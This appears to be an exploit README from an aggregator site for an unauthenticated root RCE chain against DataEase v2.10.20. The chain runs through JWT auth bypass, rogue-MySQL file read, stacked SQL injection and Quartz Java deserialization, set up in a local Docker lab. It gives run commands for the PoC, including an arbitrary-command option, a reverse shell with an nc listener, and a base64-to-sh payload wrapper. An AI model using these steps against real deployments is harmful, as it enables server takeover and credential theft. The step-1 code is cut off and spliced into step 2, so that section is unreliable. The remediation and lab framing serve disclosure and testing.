## https://sploitus.com/exploit?id=0B8D0A42-7C20-54F3-A508-F4610A876158
# DataEase โ Unauthenticated RCE via a 4-vulnerability chain (CVE-2026-40901 & friends)
> Auth bypass โ JDBC blocklist bypass (arbitrary file read) โ SQL injection โ
> **Java deserialization in Quartz โ remote code execution as `root`.**
>
> Self-contained local lab (Docker) + working PoC. **Fixed in DataEase v2.10.21.**
[DataEase](https://github.com/dataease/dataease) is a popular open-source BI /
data-visualization platform (Java / Spring Boot). Versions **โค v2.10.20** are
vulnerable to a chain of four issues that together turn a network-reachable
DataEase into remote code execution:
| # | CVE | Class | What it gives us |
|---|-----|-------|------------------|
| 1 | **CVE-2026-23958** | Auth bypass (CWE-287/CWE-347) | Act as `admin` โ no valid signature needed |
| 2 | **CVE-2026-40899** | JDBC blocklist bypass (CWE-20) | Arbitrary file read โ steal backend DB creds |
| 3 | **CVE-2026-40900** | SQL injection / stacked queries (CWE-89) | Write into DataEase's own database |
| 4 | **CVE-2026-40901** | **Java deserialization** (CWE-502) | **RCE as root** via the Quartz job store |
---
## TL;DR
```bash
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
```
---
## Lab setup
Everything runs locally in Docker. No external services, no internet target.
```
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
```
Bring it up:
```bash
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
```
* Web UI / API: `http://localhost:8100` (API prefix `/de2api`)
* Default creds shipped by DataEase: `admin` / `DataEase@123456`
* The DataEase JVM runs as **root** inside its container โ so our shell is root.
Requirements on the host: Docker, Python 3.8+ with `cryptography`
(`pip install -r exploit/requirements.txt`), and the Docker CLI (used to run
`ysoserial` in a throwaway `eclipse-temurin:8-jre` container to build the gadget).
---
## The chain, step by step
### 1. CVE-2026-23958 โ authentication bypass
DataEase authenticates requests in a servlet filter, `TokenFilter`
(`sdk/common/.../auth/filter/TokenFilter.java`). It reads the token and calls
`TokenUtils.validate()`, which ends up in:
```java
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
```
Because `@Data` auto-generates `setIllegalParameters(...)`, Jackson will happily
populate it from attacker-controlled JSON. Sending `"illegalParameters": []` in
the (Base64-encoded) `configuration` blob **empties the blocklist before it is
checked**. We can then point the datasource at a **rogue MySQL server** with
`allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/`
and read arbitrary files off the DataEase host via the MySQL `LOCAL INFILE`
mechanism.
```bash
# terminal A โ rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B โ make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
```
Result โ DataEase hands us its own backend DB credentials:
```
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
```
Those credentials are what an attacker uses to point step 3 at DataEase's own
database. The fix (commit `16a950f96`) adds `@JsonIgnore` to every
`illegalParameters` field so it can no longer be set from JSON.
### 3. CVE-2026-40900 โ SQL injection (stacked queries) in `previewSql`
`POST /de2api/datasetData/previewSql` takes a Base64-encoded SQL string and,
with **no single-statement validation**, wraps it as a subquery:
```
SELECT * FROM ( ) AS `tmp` LIMIT 100 OFFSET 0
```
Comments are stripped, but we can balance the parentheses and use `;` to run
extra statements. Because we control the datasource, we enable
`allowMultiQueries=true` (not on the blocklist in v2.10.20), so **stacked
queries execute**:
```sql
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x WHERE ... ;
SELECT * FROM (select 1
```
which the server assembles into three real statements. Pointing this datasource
at DataEase's *own* database (creds from step 2) lets us write into its Quartz
tables. Fixes: `15611593b` adds `allowMultiQueries` to the blocklist and
`e89059d88` hardens the save/engine flow.
### 4. CVE-2026-40901 โ Quartz deserialization โ RCE
DataEase schedules a recurring **"datasource status check"** Quartz job:
* scheduler `deSyncJob`, job **`Datasource` / `check_status`**, class
`io.dataease.job.schedule.CheckDsStatusJob`
* cron `0 0/6 * * * ? *` (default: every **6 minutes**)
Quartz uses a **JDBC job store with `useProperties=false`**, so each job's
`JobDataMap` is stored in the `QRTZ_JOB_DETAILS.JOB_DATA` column as a
**raw Java-serialized object** (you can see it: the blob starts with the
serialization magic `AC ED 00 05 โฆ org.quartz.JobDataMap`). When the scheduler
scans for triggers it does, in `StdJDBCDelegate.selectJobDetail`:
```java
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
```
DataEase bundles **`commons-collections-3.2.1.jar`** (and `velocity-1.7.jar`) โ
classic deserialization gadget sources. Using step 3 we overwrite `JOB_DATA`
with a **`ysoserial CommonsCollections6`** payload (and, in the same stacked
query, pull the trigger's `NEXT_FIRE_TIME` to *now* so we don't wait for the
6-minute cron). On the next scheduler scan, `readObject()` fires the gadget chain
(`LazyMap` โ `InvokerTransformer` โ `Runtime.exec`) and our command runs โ as
`root`, inside the container. The fix set (`e05bda764`, โฆ) removes the vulnerable
Velocity dependency and the reachability of the sink.
The PoC generates the gadget for you (busybox-friendly command wrapping โ the
target shell is Alpine `ash` and `Runtime.exec` gets no shell, so we use
`sh -c echo${IFS}|base64${IFS}-d|sh`).
---
## Running the PoC
```bash
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
```
Reset the poisoned Quartz job between runs (optional):
```bash
exploit/reset_quartz.sh
```
### Files
| Path | Purpose |
|------|---------|
| `exploit/de_common.py` | HTTP client: /dekey RSA recovery, login, JWT forgery, datasource + previewSql |
| `exploit/de_rce_chain.py`| the end-to-end auth โ SQLi โ Quartz deserialization RCE |
| `exploit/rogue_mysql.py` | minimal rogue MySQL server (LOCAL INFILE file read) for CVE-2026-40899 |
| `exploit/file_read.py` | drives CVE-2026-40899 against the rogue server |
| `exploit/reset_quartz.sh`| restore a clean Quartz job after a run |
---
## Why it's "meaty"
* **Java deserialization** is the timeless bug class โ here reached through an
unusual sink (a Quartz JDBC job-store BLOB) rather than an HTTP body.
* It's a genuine **four-bug chain**: each link is individually modest, but
composed they go from *unauthenticated network access* to *root RCE*.
* Everything is **open-source and self-hostable**, so the whole thing is
reproducible on a laptop with Docker โ exactly what you want for a writeup.
## Remediation
* **Upgrade to DataEase โฅ v2.10.21.**
* Rotate the default `admin` password (`DataEase@123456`) immediately.
* Don't expose DataEase directly to untrusted networks.
* Defense-in-depth for the sink: run Quartz with `useProperties=true`, apply a
JVM deserialization filter (`-Djdk.serialFilter=โฆ`), and drop
`commons-collections:3.2.1` / `velocity:1.7` from the classpath.
## Disclaimer
For education and **authorized** testing only. The lab targets a container you
run yourself. Do not point any of this at systems you don't own or have explicit
written permission to test.
## References
* OX Security โ *From Auth Bypass to RCE: A 4-Vulnerability Exploit Chain in DataEase*
* NVD / vendor advisory โ CVE-2026-40901, CVE-2026-40900, CVE-2026-40899, CVE-2026-23958
* Fix commits: `00c169caa`, `16a950f96`, `15611593b`, `e89059d88`, `e05bda764`
(DataEase `v2.10.20..v2.10.21`)